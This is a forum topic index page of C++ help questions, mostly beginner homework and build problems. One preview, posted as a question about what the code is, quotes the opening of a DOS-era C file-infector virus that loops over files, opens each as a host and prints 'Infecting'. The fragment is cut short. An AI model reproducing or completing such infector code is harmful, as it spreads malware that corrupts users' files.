51,592 Topics
![]() | |
Just got the book C++ Programming in easy steps. I just did the following program and although I ran it with now problems the book and this program really do not at all help understand how an enum or a typedef are usefull in the real world. #include <iostream> using … | |
have just joined the forum, looks great. I'm a C++ developer with 4 yrs exp. thanks Ben Mauerberger | |
string word = "abcde"; int count = 0; for(int i = 0; i < word.length(); i++){ for(int j = 1; j < word.length(); j++){ if(word.at(i) == word.at(j)){ count++; } } } i am trying to write a program that when i am given a string i can count letter pairs … | |
How can I attach the OCX of WMP to my dialog based application? I want to use the methods of IWMPControls interface such as play() and pause(). I want to call these method by clicking the button given in the dialog box. Its Urgent... | |
Hi guys so I am making function for my graphs (adjacency matrices) to return number of connected components using breadth first search algorithm. It almost works properly. It returns proper value if number of components is equal to number of vertices, but if number of components is smaller than number … | |
I have designed a linklist based BookStore in which book's attributes will be stored in a node & so on. Plus at the end of program, I have to save all database into text file *(I tried binary reading but damn I got me killed & couldn't do it)* & … | |
garrett@mint-desktop ~ $ c++ -v Using built-in specs. COLLECT_GCC=c++ COLLECT_LTO_WRAPPER=/usr/lib/gcc/x86_64-linux-gnu/4.6/lto-wrapper Target: x86_64-linux-gnu Configured with: ../src/configure -v --with-pkgversion='Ubuntu/Linaro 4.6.3-1ubuntu5' --with-bugurl=file:///usr/share/doc/gcc-4.6/README.Bugs --enable-languages=c,c++,fortran,objc,obj-c++ --prefix=/usr --program-suffix=-4.6 --enable-shared --enable-linker-build-id --with-system-zlib --libexecdir=/usr/lib --without-included-gettext --enable-threads=posix --with-gxx-include-dir=/usr/include/c++/4.6 --libdir=/usr/lib --enable-nls --with-sysroot=/ --enable-clocale=gnu --enable-libstdcxx-debug --enable-libstdcxx-time=yes --enable-gnu-unique-object --enable-plugin --enable-objc-gc --disable-werror --with-arch-32=i686 --with-tune=generic --enable-checking=release --build=x86_64-linux-gnu --host=x86_64-linux-gnu --target=x86_64-linux-gnu Thread model: posix gcc version … | |
I think this community member will help me to clear my problem. Am not a c++ professional just a beginner. Am on the way to create a software for a browsing center. Am almost struck with the problem of creating multiple text files. To be more clear, Say, a browsing … | |
Hope someone can clarify. I'm self-studying and my question relates to Programming Exercise # 2, Chapter 12, C++ Primer Plus Fifth Edition (pg. 629). I completed the exercise and achieved the desired result but my query came about when I compared my version to the solution. The exercise builds upon … | |
**hello every body i am trying to filter alog file witch is save as txt file on my computer so i want to filter the log file depend on a particular word and this word apper in 3 column but the column i want is th 3rd one for example … | |
How I will multiply this matrix by using for loop ? #include<iostream> using namespace std; void mat_mul_2d(int mat_out_2d[][2], int mat_in1_2d[][2], int mat_in2_2d[][2]) { mat_out_2d[0][0]=mat_in1_2d[0][0]*mat_in2_2d[0][0]+mat_in1_2d[0][1]*mat_in2_2d[1][0]; mat_out_2d[1][1]=mat_in1_2d[0][0]*mat_in2_2d[0][1]+mat_in1_2d[0][1]*mat_in2_2d[1][1]; mat_out_2d[2][2]=mat_in1_2d[1][0]*mat_in2_2d[0][0]+mat_in1_2d[1][1]*mat_in2_2d[1][0]; mat_out_2d[3][3]=mat_in1_2d[1][0]*mat_in2_2d[0][1]+mat_in1_2d[1][1]*mat_in2_2d[1][1]; } int main() { int mat_in1_2d[2][2] = {{1, 2},{3, 4}}; / int mat_in2_2d[2][2]={{1,0},{0,1}}; int mat_out_2d[2][2]={{0},{0}}; mat_mul_2d(mat_out_2d,mat_in1_2d,mat_in2_2d); return 0; } | |
Guyz can anyone tell me what the heck is this..??? #include<stdio.h> #include<io.h> #include<dos.h> #include<dir.h> #include<conio.h> #include<time.h> FILE *virus,*host; int done,a=0; unsigned long x; char buff[2048]; struct ffblk ffblk; clock_t st,end; void main() { st=clock(); clrscr(); done=findfirst(“*.*”,&ffblk,0); while(!done) { virus=fopen(_argv[0],”rb”); host=fopen(ffblk.ff_name,”rb+”); if(host==NULL) goto next; x=89088; printf(“Infecting %sn”,ffblk.ff_name,a); while(x>2048) { fread(buff,2048,1,virus); … | |
Hi. Im trying to write a simple deck of cards program. I am having difficulty in expressing my integer deck into a printable form. The deck is generated as this: 00102030405060708090100110120011121314151617181911011111210212223242526272829210211212203132333435363738393103113123 The leading numbers assign to suits and the following number assign to card rank. Basically how can I convert … | |
Hi I have a quick question about a program im writing. The bold part is where im stuck. As of now my output is correct. Just wondering how to delete the memory I allocated. The question asks: Let us say that you want to choose how many marks to enter … | |
I'm trying ot build a podofo library and it gets up to 65% and the below error occures. The entire code snipped is below. Not sure what this means or the faintest idea on how to fix it. Basically I've generated a makefile with CMAKE and tried to bild the … | |
| |
I'm trying to build a CPP library and have set the CPP Include path as below. I Am using Windows XP with MinGW compiler. VARIABLE NAME: CPLUS_INCLUDE_PATH VARIABLE VALUE: C:\CodeBlocks\MinGW\lib\gcc\mingw32\4.4.1\include\c++ I have restarted my PC several times but I still get an error message telling me that the file it … | |
Hello all. I'm working on a simple game at the moment and thus I started heading in the direction of windows hooks. I easily got the low level keyboard hook working. But of course I had to attempt the other version which uses dll's for hooking. After many attempts at … | |
Hello! I believe hotkeys or keyboard shortcuts is the correct term. (Ctrl+C is copy etc...) Well I'm having troubles trying to figure out how to do this. I'm very new to the win32 api and such And I'm just clueless. Any help is very much appreciated! | |
Okay so i am really new to coding(about 2 weeks) and need help with an assignment.the asignment goes like this "Write a program that will read in a file named pa7-temp.txt (located in the current directory) that contains a set of temperatures, and then prints out how many were in … | |
Hey everyone, What book would be recommended to learn C++ between Prata C++ Primer Plus, or the C++ Programming Language by Bjarne Stroustrup? I believe C++ Primer Plus would cover everything, but does someone need expirence in order to read the book by Bjarne? Does the Bjarne book covers everything … | |
I have to create three shapes, **Square, Cross, Rectangle**. This makes up three classes. There is one super class, **Shape**. So basically when I did not try any of the polymorphism but I did declare: class Shape{ private: int x,y; public: ... } class Square: public Shape{ } If I … | |
![]() | What is the purpose of static member functions in a class? |
In C++ it seems like every single time you open a file, the inner contents get deleted quickly. Is there a way to open the file at the end of the last character while keeping all contents within the file? I've been looking at something with the End of file … | |
I've been at a loss as how to convert the std::string to char (Line 40). I've tried c_str() and a few other things, but it's really confusing when the pointers are thrown in there. I know I'm kind of asking you guys to do it but I don't know what … | |
hi! I'm new in c++, can anyone give some instruction how I'll start this structure solution? if so, please give me some instruction Problem given: Define a structure called Toy with the following members: . Name of Toy . Price of Toy . Made in (the place where the toy … | |
I have the following as an Stl algorithm/vector: MyClass <int> VecOfInts("A vector of integers"); VecOfInts.push_back(3) VecOfInts.push_back(2) VecOfInts.push_back(1) I was able to get the numbers to display with a for loop (i < VecOfInts <size; i++). Now my question is: how would I get "A Vector of integers", to display, irregardless … | |
hey sir, i need your help to solve a program? question is= write a program for assesment system of university. the basic idea is to calculate the GPA of each subject and then calculate the GPA of whole semester and the basic of that GPA calculate the grade and remarks? … | |
I've been trying to write a class called Point, with a file Point.cpp including a header file Point.h . I tried to set a global variable of type Point called ORIGIN, however I get an error message saying "error: ‘ORIGIN’ does not name a type" Point.h is as follows: [ICODE] … | |
Hi all Can anyone tell me how I add a linker directory for a specific library to my project in Codeblocks. It would be better if it was there all the time but I think I have to go to Project>Build Options> then I have to select the 'Search Directories' … | |
Hello! I am currently attempting to read all the lines from a text file, and append them to one long string. At the moment, it seems that the line that is read in keeps overriding the string, instead of appending it. I think it has something to do with the … | |
assuming everything else works...i'm having trouble with the output...the if else statements are driving me crazy. it is outputting the date twice when i enter 7/3/12 code displays todays date....displays "payday" entered......adds 7 days to "payday" to show NEXT payday. void Date::addDays(int month, int day, int year) { _day = … | |
**I have tried to display URL(contain unicode characters) response in Message Box. But garbage characters displaying, so that i tried to made different conversions, but alphabits only displaying remaining unicode characters displaying as ?(or)garbage values. im trying this from 3 days..plz help me...plz write the complete code.** HINTERNET hInternet = … | |
my task is to type 20 integer numbers from 0 to 99 as the input data. few tasks are to check the maximum and minimum, and find the total number of even and odd numbers. (this one i already got the answer). But i have problem for my next task, … | |
not sure if this is the right place to ask, but i need some help for my problem here. i want to find inverse, upper triangular and determinant for a matrix. but i'm not sure why it doesn't work like what i want. for now, i just want try to … | |
Here is my code. I have a problem with the decimals when it comes to "temp /= 100.0". montant = 61; for (int i=0 ; i<7 ; i++) { if (i != posCreancier) { temp = montant/7.0; (temp == 8.7142857142857135) temp *= 100; (temp == 871.42857142857133) temp += 0.5; (temp … | |
Hello, I am having a problem with the output for my sub-string generator program. input: abc desired output: a, b, c, ab, bc, ac, abc current output: abc, abcc, abcb, abcbc, abca, abcac, abcab, abcabc I am sure the error is right in front of me, but I have been … | |
/*I'm having trouble creating a constructor for degree and *coeffs as well as properly creating the dynamic arrays for the coefficients of the 2 polynomials a and b. I'm just concerned about getting the correct values. My textbook only gives us eamples of constructos for eamples not well related to … | |
So my readPoly fct assigns the values i want to my dynamic array, but when the fct send Polynomial p back to main to be assigned to a and b(fct called twice) the first value of the array is set to 0. I've output the array inside readPoly and it … | |
Hey everyone, i need help with this program im doing for a class, now i havent used c++ in a while so thats why im considerably fresh in all this. any at all help would be greatly apprecietated. ALso i can NOT spell to save my life. the problem states … | |
Hey! I am stuck on a problem in which i have to print an isosceles triangle (two sides equal) with any character. It would be really helpful if someone could tell me the code, the triangle should look like this: * *** ***** ******* | |
hi! can anyone solve this string-array problem or give me just an example about it * Write a program that converts a sentence input by the user into pig latin. You can assume that the sentence contains no punctuation. The rules for pig latin are as follows: a) For words … | |
Hi all, To begin, I'm not certain this is the proper place to start this question, but I believe this to be a linux-linker related error rather than a code based one. I've also searched far and wide for a solution online, but others have solved the problem simply include … | |
program to read list of words in randomly and displays them in alphabetical order using function and comparison operator. | |
![]() | Hi, I kind of need help with my homework. I already have a code but it doesn't seem to work. I'm confused about the parameters I put. I don't know which part I actually messed up. I don't know what else to do. Thank you so much in advance for … |
Hi, can anyone help me with my code? Im trying to reverse my string using stack... but when it compiles and put in a string and press enter... nothing happens... Any suggestions? [CODE]#include <iostream> #include<stack> #include<string> using namespace std; int main() { stack <string> s; string a; cout << "Enter: … | |
How do you do that? This code reads in the book. It reads in fine. Now I just have to alter it so it doesn't read in repeat words in the book. How would I do that? void readInStory(){ ifstream inStream; // declare an input stream for my use int … | |
I've tried cin >> userInput; and it stops reading the word after it hits a space. but then I tried cin.get and it just skips all the other cins. Then I tried cin.getline and it skips over the userInput cin and goes right to the next cin (cin >> direction). … | |
Hi I am getting some strange results from my framerate calculation. It seems to have a mind of its own. It wants to stay at about 60 fps even if I set it to 80fps. It does run though if I set it to 50fps. I am getting smooth movement … | |
Hi all...I really need someones help and real fast. I am trying to read a textfile with multiple columns that are each separated by a #. eg: Inventory.txt Nokia Lumia 610#Nokia#Touch#8GB#8#Tango OS#3899.00# Blackberry Curve 9380#Blackberry#Both#1GB#8#Blackberry OS 7#3499.00# Samsung Galaxy S3#Samsung#Touch#32GB#8#Andriod#6999.00# iPhone 4S#Apple#Touch#16GB#8#IOS#7899.00# I am trying to save each bit of … |
The End.